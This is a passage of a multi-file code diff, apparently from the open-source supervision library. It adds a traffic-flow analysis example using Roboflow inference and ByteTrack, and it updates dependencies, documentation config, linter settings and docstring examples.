+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(
+        description="Video Processing with Inference and ByteTrack"
+    )
+    parser.add_argument(
+        "--model_id",
+        default="yolov8x-1280",
+        help="Roboflow model ID",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        required=True,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
+    )
+    parser.add_argument(
+        "--roboflow_api_key",
+        default=None,
+        help="Roboflow API key",
+        type=str,
+    )
+
+    args = parser.parse_args()
+
+    api_key = args.roboflow_api_key
+    api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
+    if api_key is None:
+        raise ValueError(
+            "Roboflow API key is missing. Please provide it as an argument or set the "
+            "ROBOFLOW_API_KEY environment variable."
+        )
+    args.roboflow_api_key = api_key
+
+    process_video(
+        roboflow_api_key=args.roboflow_api_key,
+        model_id=args.model_id,
+        source_video_path=args.source_video_path,
+        target_video_path=args.target_video_path,
+        confidence_threshold=args.confidence_threshold,
+        iou_threshold=args.iou_threshold,
+    )
@@ -1,3 +1,4 @@
+inference
 supervision
 tqdm
 ultralytics
@@ -17,7 +17,7 @@ def process_video(

    tracker = sv.ByteTrack()
    box_annotator = sv.BoundingBoxAnnotator()
-    label_annotator = sv.LabelAnnotator(classes=model.names)
+    label_annotator = sv.LabelAnnotator()
    frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
    video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)

@@ -1 +1,9 @@
 data/
+venv/
+*.pt
+*.pth
+*.mp4
+*.mov
+*.png
+*.jpg
+*.jpeg
@@ -1,6 +1,10 @@
+# traffic analysis
+
 ## 👋 hello

-This script performs traffic flow analysis using YOLOv8, an object-detection method and ByteTrack, a simple yet effective online multi-object tracking method. It uses the supervision package for multiple tasks such as tracking, annotations, etc.
+This script performs traffic flow analysis using YOLOv8, an object-detection method and
+ByteTrack, a simple yet effective online multi-object tracking method. It uses the
+supervision package for multiple tasks such as tracking, annotations, etc.

 https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900

@@ -8,37 +12,105 @@ https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-

 - clone repository and navigate to example directory

-    ```bash
-    git clone https://github.com/roboflow/supervision.git
-    cd supervision/examples/traffic_analysis
-    ```
+  ```bash
+  git clone https://github.com/roboflow/supervision.git
+  cd supervision/examples/traffic_analysis
+  ```

 - setup python environment and activate it [optional]

-    ```bash
-    python3 -m venv venv
-    source venv/bin/activate
-    ```
+  ```bash
+  python3 -m venv venv
+  source venv/bin/activate
+  ```

 - install required dependencies

-    ```bash
-    pip install -r requirements.txt
-    ```
+  ```bash
+  pip install -r requirements.txt
+  ```

 - download `traffic_analysis.pt` and `traffic_analysis.mov` files

-    ```bash
-    ./setup.sh
-    ```
+  ```bash
+  ./setup.sh
+  ```
+
+## 🛠️ script arguments
+
+- ultralytics
+
+  - `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
+    file, which is essential for the object detection process. This file contains the
+    data that the model uses to identify objects in the video.
+
+  - `--source_video_path`: Required. The path to the source video file that will be
+    analyzed. This is the input video on which traffic flow analysis will be performed.
+  - `--target_video_path` (optional): The path to save the output video with
+    annotations. If not specified, the processed video will be displayed in real-time
+    without being saved.
+  - `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
+    model to filter detections. Default is `0.3`. This determines how confident the
+    model should be to recognize an object in the video.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model. Default is 0.7. This value is used to manage object detection
+    accuracy, particularly in distinguishing between different objects.
+
+- inference
+
+  - `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
+    directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
+    variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
+    to acquire your `API KEY`.
+  - `--model_id` (optional): Designates the Roboflow model ID to be used. The default
+    value is `"vehicle-count-in-drone-video/6"`.
+
+  - `--source_video_path`: Required. The path to the source video file that will be
+    analyzed. This is the input video on which traffic flow analysis will be performed.
+  - `--target_video_path` (optional): The path to save the output video with
+    annotations. If not specified, the processed video will be displayed in real-time
+    without being saved.
+  - `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
+    model to filter detections. Default is `0.3`. This determines how confident the
+    model should be to recognize an object in the video.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model. Default is 0.7. This value is used to manage object detection
+    accuracy, particularly in distinguishing between different objects.

 ## ⚙️ run

-```bash
-python script.py \
--source_weights_path data/traffic_analysis.pt \
--source_video_path data/traffic_analysis.mov \
--confidence_threshold 0.3 \
--iou_threshold 0.5 \
--target_video_path data/traffic_analysis_result.mov
-```
+- ultralytics
+
+  ```bash
+  python ultralytics_example.py \
+  --source_weights_path data/traffic_analysis.pt \
+  --source_video_path data/traffic_analysis.mov \
+  --confidence_threshold 0.3 \
+  --iou_threshold 0.5 \
+  --target_video_path data/traffic_analysis_result.mov
+  ```
+
+- inference
+
+  ```bash
+  python inference_example.py \
+  --roboflow_api_key <ROBOFLOW API KEY> \
+  --source_video_path data/traffic_analysis.mov \
+  --confidence_threshold 0.3 \
+  --iou_threshold 0.5 \
+  --target_video_path data/traffic_analysis_result.mov
+  ```
+
+## © license
+
+This demo integrates two main components, each with its own licensing:
+
+- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
+  under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
+  You can find more details about this license here.
+
+- supervision: The analytics code that powers the zone-based analysis in this demo is
+  based on the Supervision library, which is licensed under the
+  [MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
+  makes the Supervision part of the code fully open source and freely usable in your
+  projects.
@@ -0,0 +1,238 @@
+import argparse
+import os
+from typing import Dict, List, Set, Tuple
+
+import cv2
+import numpy as np
+from inference.models.utils import get_roboflow_model
+from tqdm import tqdm
+
+import supervision as sv
+
+COLORS = sv.ColorPalette.default()
+
+ZONE_IN_POLYGONS = [
+    np.array([[592, 282], [900, 282], [900, 82], [592, 82]]),
+    np.array([[950, 860], [1250, 860], [1250, 1060], [950, 1060]]),
+    np.array([[592, 582], [592, 860], [392, 860], [392, 582]]),
+    np.array([[1250, 282], [1250, 530], [1450, 530], [1450, 282]]),
+]
+
+ZONE_OUT_POLYGONS = [
+    np.array([[950, 282], [1250, 282], [1250, 82], [950, 82]]),
+    np.array([[592, 860], [900, 860], [900, 1060], [592, 1060]]),
+    np.array([[592, 282], [592, 550], [392, 550], [392, 282]]),
+    np.array([[1250, 860], [1250, 560], [1450, 560], [1450, 860]]),
+]
+
+
+class DetectionsManager:
+    def __init__(self) -> None:
+        self.tracker_id_to_zone_id: Dict[int, int] = {}
+        self.counts: Dict[int, Dict[int, Set[int]]] = {}
+
+    def update(
+        self,
+        detections_all: sv.Detections,
+        detections_in_zones: List[sv.Detections],
+        detections_out_zones: List[sv.Detections],
+    ) -> sv.Detections:
+        for zone_in_id, detections_in_zone in enumerate(detections_in_zones):
+            for tracker_id in detections_in_zone.tracker_id:
+                self.tracker_id_to_zone_id.setdefault(tracker_id, zone_in_id)
+
+        for zone_out_id, detections_out_zone in enumerate(detections_out_zones):
+            for tracker_id in detections_out_zone.tracker_id:
+                if tracker_id in self.tracker_id_to_zone_id:
+                    zone_in_id = self.tracker_id_to_zone_id[tracker_id]
+                    self.counts.setdefault(zone_out_id, {})
+                    self.counts[zone_out_id].setdefault(zone_in_id, set())
+                    self.counts[zone_out_id][zone_in_id].add(tracker_id)
+
+        detections_all.class_id = np.vectorize(
+            lambda x: self.tracker_id_to_zone_id.get(x, -1)
+        )(detections_all.tracker_id)
+        return detections_all[detections_all.class_id != -1]
+
+
+def initiate_polygon_zones(
+    polygons: List[np.ndarray],
+    frame_resolution_wh: Tuple[int, int],
+    triggering_position: sv.Position = sv.Position.CENTER,
+) -> List[sv.PolygonZone]:
+    return [
+        sv.PolygonZone(
+            polygon=polygon,
+            frame_resolution_wh=frame_resolution_wh,
+            triggering_position=triggering_position,
+        )
+        for polygon in polygons
+    ]
+
+
+class VideoProcessor:
+    def __init__(
+        self,
+        roboflow_api_key: str,
+        model_id: str,
+        source_video_path: str,
+        target_video_path: str = None,
+        confidence_threshold: float = 0.3,
+        iou_threshold: float = 0.7,
+    ) -> None:
+        self.conf_threshold = confidence_threshold
+        self.iou_threshold = iou_threshold
+        self.source_video_path = source_video_path
+        self.target_video_path = target_video_path
+
+        self.model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
+        self.tracker = sv.ByteTrack()
+
+        self.video_info = sv.VideoInfo.from_video_path(source_video_path)
+        self.zones_in = initiate_polygon_zones(
+            ZONE_IN_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
+        )
+        self.zones_out = initiate_polygon_zones(
+            ZONE_OUT_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
+        )
+
+        self.box_annotator = sv.BoxAnnotator(color=COLORS)
+        self.trace_annotator = sv.TraceAnnotator(
+            color=COLORS, position=sv.Position.CENTER, trace_length=100, thickness=2
+        )
+        self.detections_manager = DetectionsManager()
+
+    def process_video(self):
+        frame_generator = sv.get_video_frames_generator(
+            source_path=self.source_video_path
+        )
+
+        if self.target_video_path:
+            with sv.VideoSink(self.target_video_path, self.video_info) as sink:
+                for frame in tqdm(frame_generator, total=self.video_info.total_frames):
+                    annotated_frame = self.process_frame(frame)
+                    sink.write_frame(annotated_frame)
+        else:
+            for frame in tqdm(frame_generator, total=self.video_info.total_frames):
+                annotated_frame = self.process_frame(frame)
+                cv2.imshow("Processed Video", annotated_frame)
+                if cv2.waitKey(1) & 0xFF == ord("q"):
+                    break
+            cv2.destroyAllWindows()
+
+    def annotate_frame(
+        self, frame: np.ndarray, detections: sv.Detections
+    ) -> np.ndarray:
+        annotated_frame = frame.copy()
+        for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
+            annotated_frame = sv.draw_polygon(
+                annotated_frame, zone_in.polygon, COLORS.colors[i]
+            )
+            annotated_frame = sv.draw_polygon(
+                annotated_frame, zone_out.polygon, COLORS.colors[i]
+            )
+
+        labels = [f"#{tracker_id}" for tracker_id in detections.tracker_id]
+        annotated_frame = self.trace_annotator.annotate(annotated_frame, detections)
+        annotated_frame = self.box_annotator.annotate(
+            annotated_frame, detections, labels
+        )
+
+        for zone_out_id, zone_out in enumerate(self.zones_out):
+            zone_center = sv.get_polygon_center(polygon=zone_out.polygon)
+            if zone_out_id in self.detections_manager.counts:
+                counts = self.detections_manager.counts[zone_out_id]
+                for i, zone_in_id in enumerate(counts):
+                    count = len(self.detections_manager.counts[zone_out_id][zone_in_id])
+                    text_anchor = sv.Point(x=zone_center.x, y=zone_center.y + 40 * i)
+                    annotated_frame = sv.draw_text(
+                        scene=annotated_frame,
+                        text=str(count),
+                        text_anchor=text_anchor,
+                        background_color=COLORS.colors[zone_in_id],
+                    )
+
+        return annotated_frame
+
+    def process_frame(self, frame: np.ndarray) -> np.ndarray:
+        results = self.model.infer(
+            frame, confidence=self.conf_threshold, iou_threshold=self.iou_threshold
+        )[0]
+        detections = sv.Detections.from_inference(results)
+        detections.class_id = np.zeros(len(detections))
+        detections = self.tracker.update_with_detections(detections)
+
+        detections_in_zones = []
+        detections_out_zones = []
+
+        for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
+            detections_in_zone = detections[zone_in.trigger(detections=detections)]
+            detections_in_zones.append(detections_in_zone)
+            detections_out_zone = detections[zone_out.trigger(detections=detections)]
+            detections_out_zones.append(detections_out_zone)
+
+        detections = self.detections_manager.update(
+            detections, detections_in_zones, detections_out_zones
+        )
+        return self.annotate_frame(frame, detections)
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(
+        description="Traffic Flow Analysis with Inference and ByteTrack"
+    )
+
+    parser.add_argument(
+        "--model_id",
+        default="vehicle-count-in-drone-video/6",
+        help="Roboflow model ID",
+        type=str,
+    )
+    parser.add_argument(
+        "--roboflow_api_key",
+        default=None,
+        help="Roboflow API KEY",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        default=None,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
+    )
+
+    args = parser.parse_args()
+
+    api_key = args.roboflow_api_key
+    api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
+    if api_key is None:
+        raise ValueError(
+            "Roboflow API KEY is missing. Please provide it as an argument or set the "
+            "ROBOFLOW_API_KEY environment variable."
+        )
+    args.roboflow_api_key = api_key
+
+    processor = VideoProcessor(
+        roboflow_api_key=args.roboflow_api_key,
+        model_id=args.model_id,
+        source_video_path=args.source_video_path,
+        target_video_path=args.target_video_path,
+        confidence_threshold=args.confidence_threshold,
+        iou_threshold=args.iou_threshold,
+    )
+    processor.process_video()
@@ -1,4 +1,5 @@
-supervision>=0.15.0rc1
+gdown
+inference
+supervision
 tqdm
 ultralytics
-gdown
@@ -1,7 +1,7 @@
 site_name: Supervision
 site_url: https://supervision.roboflow.com/
 site_author: Roboflow
-site_description: A set of easy-to-use utils that will come in handy in any Computer Vision project
+site_description: A set of easy-to-use utilities that will come in handy in any computer vision project.
 repo_name: roboflow/supervision
 repo_url: https://github.com/roboflow/supervision
 edit_uri: https://github.com/roboflow/supervision/tree/main/docs
@@ -28,10 +28,8 @@ nav:
  - Home: index.md
  - How to:
      - Detect and Annotate: how_to/detect_and_annotate.md
-      - Process Video: how_to/process_video.md
      - Track Objects: how_to/track_objects.md
      - Filter Detections: how_to/filter_detections.md
-      - Evaluate Model: how_to/evaluate_model.md
  - API:
    - Classifications:
        - Core: classification/core.md
@@ -42,6 +40,7 @@ nav:
        - Line Zone: detection/tools/line_zone.md
        - Polygon Zone: detection/tools/polygon_zone.md
        - Inference Slicer: detection/tools/inference_slicer.md
+        - Detection Smoother: detection/tools/smoother.md
    - Annotators: annotators.md
    - Trackers: trackers.md
    - Datasets: datasets.md
@@ -60,8 +59,9 @@ nav:

 theme:
  name: 'material'
-  logo: https://media.roboflow.com/open-source/supervision/supervision-lenny.png
-  favicon: https://media.roboflow.com/open-source/supervision/supervision-lenny.png
+  logo: assets/supervision-lenny.png
+  favicon: assets/supervision-lenny.png
+  custom_dir: docs/theme
  palette:
    # Palette for light mode
    - scheme: default
@@ -79,6 +79,9 @@ theme:
  font:
    text: Roboto
    code: Roboto Mono
+  features:
+    - content.code.copy
+    - content.code.annotate

 plugins:
  - mkdocstrings
@@ -94,3 +97,10 @@ markdown_extensions:
      alternate_style: true
  - toc:
      permalink: true
+  - pymdownx.emoji:
+      emoji_index: !!python/name:material.extensions.emoji.twemoji
+      emoji_generator: !!python/name:material.extensions.emoji.to_svg
+
+extra_javascript:
+  - "https://widget.kapa.ai/kapa-widget.bundle.js"
+  - "javascript/init_kapa_widget.js"
@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "supervision"
-version = "0.17.0rc2"
+version = "0.18.0"
 description = "A set of easy-to-use utils that will come in handy in any Computer Vision project"
 authors = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
 maintainers = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
@@ -10,7 +10,7 @@ packages = [{include = "supervision"}]
 homepage = "https://github.com/roboflow/supervision"
 repository = "https://github.com/roboflow/supervision"
 documentation = "https://github.com/roboflow/supervision/blob/main/README.md"
-keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "YOLOv5", "YOLOv8", "Roboflow"]
+keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "Roboflow"]

 classifiers=[
    'Development Status :: 4 - Beta',
@@ -19,10 +19,6 @@ classifiers=[
    'Intended Audience :: Science/Research',
    'License :: OSI Approved :: MIT License',
    'Programming Language :: Python :: 3',
-    'Programming Language :: Python :: 3.8',
-    'Programming Language :: Python :: 3.9',
-    'Programming Language :: Python :: 3.10',
-    'Programming Language :: Python :: 3.11',
    'Programming Language :: Python :: 3 :: Only',
    'Topic :: Software Development',
    'Topic :: Scientific/Engineering',
@@ -35,16 +31,20 @@ classifiers=[
 ]

 [tool.poetry.dependencies]
-python = ">=3.8,<3.12.0"
-numpy = "^1.20.0"
-matplotlib = "^3.7.1"
-pyyaml = "^6.0"
-pillow = ">=9.4,<11.0"
-opencv-python = { version = "^4.8.0.74", optional = true }
-opencv-python-headless = "^4.8.0.74"
-scipy = "^1.9.0"
-requests = { version = "^2.31.0", optional = true }
-tqdm = { version = "^4.66.1", optional = true }
+python = "^3.8"
+numpy = ">=1.21.2"
+scipy = [
+    { version = "1.10.0", python = "<3.9" },
+    { version = "^1.10.0", python = ">=3.9" }
+]
+matplotlib = ">=3.6.0"
+pyyaml = ">=5.3"
+opencv-python = { version = ">=4.5.5.64", optional = true }
+opencv-python-headless = ">=4.5.5.64"
+requests = { version = ">=2.26.0,<=2.31.0", optional = true }
+tqdm = { version = ">=4.62.3,<=4.66.1", optional = true }
+defusedxml = "^0.7.1"
+


 [tool.poetry.extras]
@@ -54,35 +54,20 @@ assets = ["requests","tqdm"]
 [tool.poetry.group.dev.dependencies]
 twine = "^4.0.2"
 pytest = "^7.2.2"
-wheel = "^0.40.0"
-notebook = "^6.5.3"
+wheel = ">=0.40,<0.43"
+notebook = ">=6.5.3,<8.0.0"
 build = ">=0.10,<1.1"
-ruff = "^0.0.280"
+ruff = ">=0.1.0"
 isort = "^5.12.0"
-black = "^23.7.0"
 mypy = "^1.4.1"
 pre-commit = "^3.3.3"
-flake8 = { version = "*", python = ">=3.8.1,<3.12.0" }
+tox = "^4.11.4"


 [tool.poetry.group.docs.dependencies]
-mkdocs-material = "^9.1.4"
-mkdocstrings = {extras = ["python"], version = "^0.20.0"}
+mkdocs-material = {extras = ["imaging"], version = "^9.5.5"}
+mkdocstrings = {extras = ["python"], version = ">=0.20,<0.25"}

-[tool.flake8]
-exclude = ".venv"
-max-complexity = 10
-max-line-length = 88
-extend-ignore = """
-    W503,
-    E203,
-    E701,
-    C901,
-"""
-per-file-ignores = """
-    __init__.py: F401
-    supervision/assets/list.py: E501
-"""

 [tool.isort]
 line_length = 88
@@ -90,7 +75,7 @@ profile = "black"

 [tool.bandit]
 target = ["test", "supervision"]
-tests = ["B201", "B301"]
+tests = ["B201", "B301", "B318", "B314", "B303", "B413", "B412", "B410"]

 [tool.autoflake]
 check = true
@@ -152,11 +137,11 @@ exclude = [
    "yarn-error.log",
    "yarn.lock",
    "docs",
-    "supervision/assets/list.py"
 ]

 # Same as Black.
 line-length = 88
+indent-width = 4

 # Allow unused variables when underscore-prefixed.
 dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
@@ -173,9 +158,26 @@ convention = "google"
 "__init__.py" = ["E402","F401"]
 "supervision/assets/list.py" = ["E501"]

+[tool.ruff.lint.mccabe]
+# Flag errors (`C901`) whenever the complexity level exceeds 5.
+max-complexity = 20
+
+
 [tool.ruff.pylint]
 max-args = 20

+[tool.ruff.format]
+# Like Black, use double quotes for strings.
+quote-style = "double"
+
+# Like Black, indent with spaces, rather than tabs.
+indent-style = "space"
+
+# Like Black, respect magic trailing commas.
+skip-magic-trailing-comma = false
+
+# Like Black, automatically detect the appropriate line ending.
+line-ending = "auto"

 [tool.setuptools]
 include-package-data = false
@@ -10,15 +10,21 @@ from supervision.annotators.core import (
    BlurAnnotator,
    BoundingBoxAnnotator,
    BoxCornerAnnotator,
-    BoxMaskAnnotator,
    CircleAnnotator,
+    ColorAnnotator,
    DotAnnotator,
    EllipseAnnotator,
    HaloAnnotator,
    HeatMapAnnotator,
    LabelAnnotator,
    MaskAnnotator,
+    OrientedBoxAnnotator,
+    PercentageBarAnnotator,
+    PixelateAnnotator,
+    PolygonAnnotator,
+    RoundBoxAnnotator,
    TraceAnnotator,
+    TriangleAnnotator,
 )
 from supervision.annotators.utils import ColorLookup
 from supervision.classification.core import Classifications
@@ -32,17 +38,23 @@ from supervision.detection.core import Detections
 from supervision.detection.line_counter import LineZone, LineZoneAnnotator
 from supervision.detection.tools.inference_slicer import InferenceSlicer
 from supervision.detection.tools.polygon_zone import PolygonZone, PolygonZoneAnnotator
+from supervision.detection.tools.smoother import DetectionsSmoother
 from supervision.detection.utils import (
    box_iou_batch,
+    calculate_masks_centroids,
    filter_polygons_by_area,
    mask_to_polygons,
    mask_to_xyxy,
+    move_boxes,
    non_max_suppression,
    polygon_to_mask,
    polygon_to_xyxy,
+    scale_boxes,
 )
 from supervision.draw.color import Color, ColorPalette
 from supervision.draw.utils import (
+    calculate_dynamic_line_thickness,
+    calculate_dynamic_text_scale,
    draw_filled_rectangle,
    draw_image,
    draw_line,
@@ -102,7 +102,7 @@ class Trace:
        frame_id = np.full(len(detections), self.current_frame_id, dtype=int)
        self.frame_id = np.concatenate([self.frame_id, frame_id])
        self.xy = np.concatenate(
-            [self.xy, detections.get_anchor_coordinates(self.anchor)]
+            [self.xy, detections.get_anchors_coordinates(self.anchor)]
        )
        self.tracker_id = np.concatenate([self.tracker_id, detections.tracker_id])

@@ -1,5 +1,5 @@
 import os
-from hashlib import md5
+from hashlib import new as hash_new
 from pathlib import Path
 from shutil import copyfileobj
 from typing import Union
@@ -35,9 +35,10 @@ def is_md5_hash_matching(filename: str, original_md5_hash: str) -> bool:

    with open(filename, "rb") as file:
        file_contents = file.read()
-        computed_md5_hash = md5(file_contents).hexdigest()
+        computed_md5_hash = hash_new(name="MD5")
+        computed_md5_hash.update(file_contents)

-    return computed_md5_hash == original_md5_hash
+    return computed_md5_hash.hexdigest() == original_md5_hash


 def download_assets(asset_name: Union[VideoAssets, str]) -> str:
@@ -53,9 +54,9 @@ def download_assets(asset_name: Union[VideoAssets, str]) -> str:

    Example:
        ```python
-        >>> from supervision.assets import download_assets, VideoAssets
+        from supervision.assets import download_assets, VideoAssets

-        >>> download_assets(VideoAssets.VEHICLES)
+        download_assets(VideoAssets.VEHICLES)
        "vehicles.mp4"
        ```
    """
@@ -18,7 +18,7 @@ class VideoAssets(Enum):
    | `SUBWAY`               | `subway.mp4`               | [Link](https://media.roboflow.com/supervision/video-examples/subway.mp4)              |
    | `MARKET_SQUARE`        | `market-square.mp4`        | [Link](https://media.roboflow.com/supervision/video-examples/market-square.mp4)       |
    | `PEOPLE_WALKING`       | `people-walking.mp4`       | [Link](https://media.roboflow.com/supervision/video-examples/people-walking.mp4)      |
-    """
+    """  # noqa: E501 // docs

    VEHICLES = "vehicles.mp4"
    MILK_BOTTLING_PLANT = "milk-bottling-plant.mp4"
@@ -39,36 +39,121 @@ class Classifications:
        _validate_class_ids(self.class_id, n)
        _validate_confidence(self.confidence, n)

+    def __len__(self) -> int:
+        """
+        Returns the number of classifications.
+        """
+        return len(self.class_id)
+
    @classmethod
-    def from_ultralytics(cls, ultralytics_results) -> Classifications:
+    def from_clip(cls, clip_results) -> Classifications:
        """
        Creates a Classifications instance from a
-        (https://github.com/ultralytics/ultralytics) inference result.
+        [clip](https://github.com/openai/clip) inference result.

        Args:
-            ultralytics_results (ultralytics.engine.results.Results):
-                The output Results instance from ultralytics model
+            clip_results (np.ndarray): The inference result from clip model.

        Returns:
            Classifications: A new Classifications object.

        Example:
            ```python
-            >>> import cv2
-            >>> from ultralytics import YOLO
-            >>> import supervision as sv
+            from PIL import Image
+            import clip
+            import supervision as sv

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> model = YOLO('yolov8n-cls.pt')
-            >>> model = YOLO('yolov8s-cls.pt')
+            model, preprocess = clip.load('ViT-B/32')

-            >>> result = model(image)[0]
-            >>> classifications = sv.Classifications.from_ultralytics(result)
+            image = cv2.imread(SOURCE_IMAGE_PATH)
+            image = preprocess(image).unsqueeze(0)
+
+            text = clip.tokenize(["a diagram", "a dog", "a cat"])
+            output, _ = model(image, text)
+            classifications = sv.Classifications.from_clip(output)
+            ```
+        """
+
+        confidence = clip_results.softmax(dim=-1).cpu().detach().numpy()[0]
+
+        if len(confidence) == 0:
+            return cls(class_id=np.array([]), confidence=np.array([]))
+
+        class_ids = np.arange(len(confidence))
+        return cls(class_id=class_ids, confidence=confidence)
+
+    @classmethod
+    def from_ultralytics(cls, ultralytics_results) -> Classifications:
+        """
+        Creates a Classifications instance from a
+        [ultralytics](https://github.com/ultralytics/ultralytics) inference result.
+
+        Args:
+            ultralytics_results (ultralytics.engine.results.Results):
+                The inference result from ultralytics model.
+
+        Returns:
+            Classifications: A new Classifications object.
+
+        Example:
+            ```python
+            import cv2
+            from ultralytics import YOLO
+            import supervision as sv
+
+            image = cv2.imread(SOURCE_IMAGE_PATH)
+            model = YOLO('yolov8n-cls.pt')
+
+            output = model(image)[0]
+            classifications = sv.Classifications.from_ultralytics(output)
            ```
        """
        confidence = ultralytics_results.probs.data.cpu().numpy()
        return cls(class_id=np.arange(confidence.shape[0]), confidence=confidence)

+    @classmethod
+    def from_timm(cls, timm_results) -> Classifications:
+        """
+        Creates a Classifications instance from a
+        [timm](https://huggingface.co/docs/hub/timm) inference result.
+
+        Args:
+            timm_results: The inference result from timm model.
+
+        Returns:
+            Classifications: A new Classifications object.
+
+        Example:
+            ```python
+            from PIL import Image
+            import timm
+            from timm.data import resolve_data_config, create_transform
+            import supervision as sv
+
+            model = timm.create_model(
+                model_name='hf-hub:nateraw/resnet50-oxford-iiit-pet',
+                pretrained=True
+            ).eval()
+
+            config = resolve_data_config({}, model=model)
+            transform = create_transform(**config)
+
+            image = Image.open(SOURCE_IMAGE_PATH).convert('RGB')
+            x = transform(image).unsqueeze(0)
+
+            output = model(x)
+
+            classifications = sv.Classifications.from_timm(output)
+            ```
+        """
+        confidence = timm_results.cpu().detach().numpy()[0]
+
+        if len(confidence) == 0:
+            return cls(class_id=np.array([]), confidence=np.array([]))
+
+        class_id = np.arange(len(confidence))
+        return cls(class_id=class_id, confidence=confidence)
+
    def get_top_k(self, k: int) -> Tuple[np.ndarray, np.ndarray]:
        """
        Retrieve the top k class IDs and confidences,
@@ -83,11 +168,11 @@ class Classifications:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> classifications = sv.Classifications(...)
+            classifications = sv.Classifications(...)

-            >>> classifications.get_top_k(1)
+            classifications.get_top_k(1)

            (array([1]), array([0.9]))
            ```
@@ -0,0 +1 @@
+CLASS_NAME_DATA_FIELD = "class_name"
@@ -118,13 +118,13 @@ class DetectionDataset(BaseDataset):

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> ds = sv.DetectionDataset(...)
-            >>> train_ds, test_ds = ds.split(split_ratio=0.7,
-            ...                              random_state=42, shuffle=True)
-            >>> len(train_ds), len(test_ds)
-            (700, 300)
+            ds = sv.DetectionDataset(...)
+            train_ds, test_ds = ds.split(split_ratio=0.7,
+                                         random_state=42, shuffle=True)
+            len(train_ds), len(test_ds)
+            # (700, 300)
            ```
        """

@@ -231,24 +231,24 @@ class DetectionDataset(BaseDataset):

        Example:
            ```python
-            >>> import roboflow
-            >>> from roboflow import Roboflow
-            >>> import supervision as sv
+            import roboflow
+            from roboflow import Roboflow
+            import supervision as sv

-            >>> roboflow.login()
+            roboflow.login()

-            >>> rf = Roboflow()
+            rf = Roboflow()

-            >>> project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
-            >>> dataset = project.version(PROJECT_VERSION).download("voc")
+            project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
+            dataset = project.version(PROJECT_VERSION).download("voc")

-            >>> ds = sv.DetectionDataset.from_pascal_voc(
-            ...     images_directory_path=f"{dataset.location}/train/images",
-            ...     annotations_directory_path=f"{dataset.location}/train/labels"
-            ... )
+            ds = sv.DetectionDataset.from_pascal_voc(
+                images_directory_path=f"{dataset.location}/train/images",
+                annotations_directory_path=f"{dataset.location}/train/labels"
+            )

-            >>> ds.classes
-            ['dog', 'person']
+            ds.classes
+            # ['dog', 'person']
            ```
        """

@@ -288,25 +288,24 @@ class DetectionDataset(BaseDataset):

        Example:
            ```python
-            >>> import roboflow
-            >>> from roboflow import Roboflow
-            >>> import supervision as sv
+            import roboflow
+            from roboflow import Roboflow
+            import supervision as sv

-            >>> roboflow.login()
+            roboflow.login()
+            rf = Roboflow()

-            >>> rf = Roboflow()
+            project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
+            dataset = project.version(PROJECT_VERSION).download("yolov5")

-            >>> project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
-            >>> dataset = project.version(PROJECT_VERSION).download("yolov5")
+            ds = sv.DetectionDataset.from_yolo(
+                images_directory_path=f"{dataset.location}/train/images",
+                annotations_directory_path=f"{dataset.location}/train/labels",
+                data_yaml_path=f"{dataset.location}/data.yaml"
+            )

-            >>> ds = sv.DetectionDataset.from_yolo(
-            ...     images_directory_path=f"{dataset.location}/train/images",
-            ...     annotations_directory_path=f"{dataset.location}/train/labels",
-            ...     data_yaml_path=f"{dataset.location}/data.yaml"
-            ... )
-
-            >>> ds.classes
-            ['dog', 'person']
+            ds.classes
+            # ['dog', 'person']
            ```
        """
        classes, images, annotations = load_yolo_annotations(
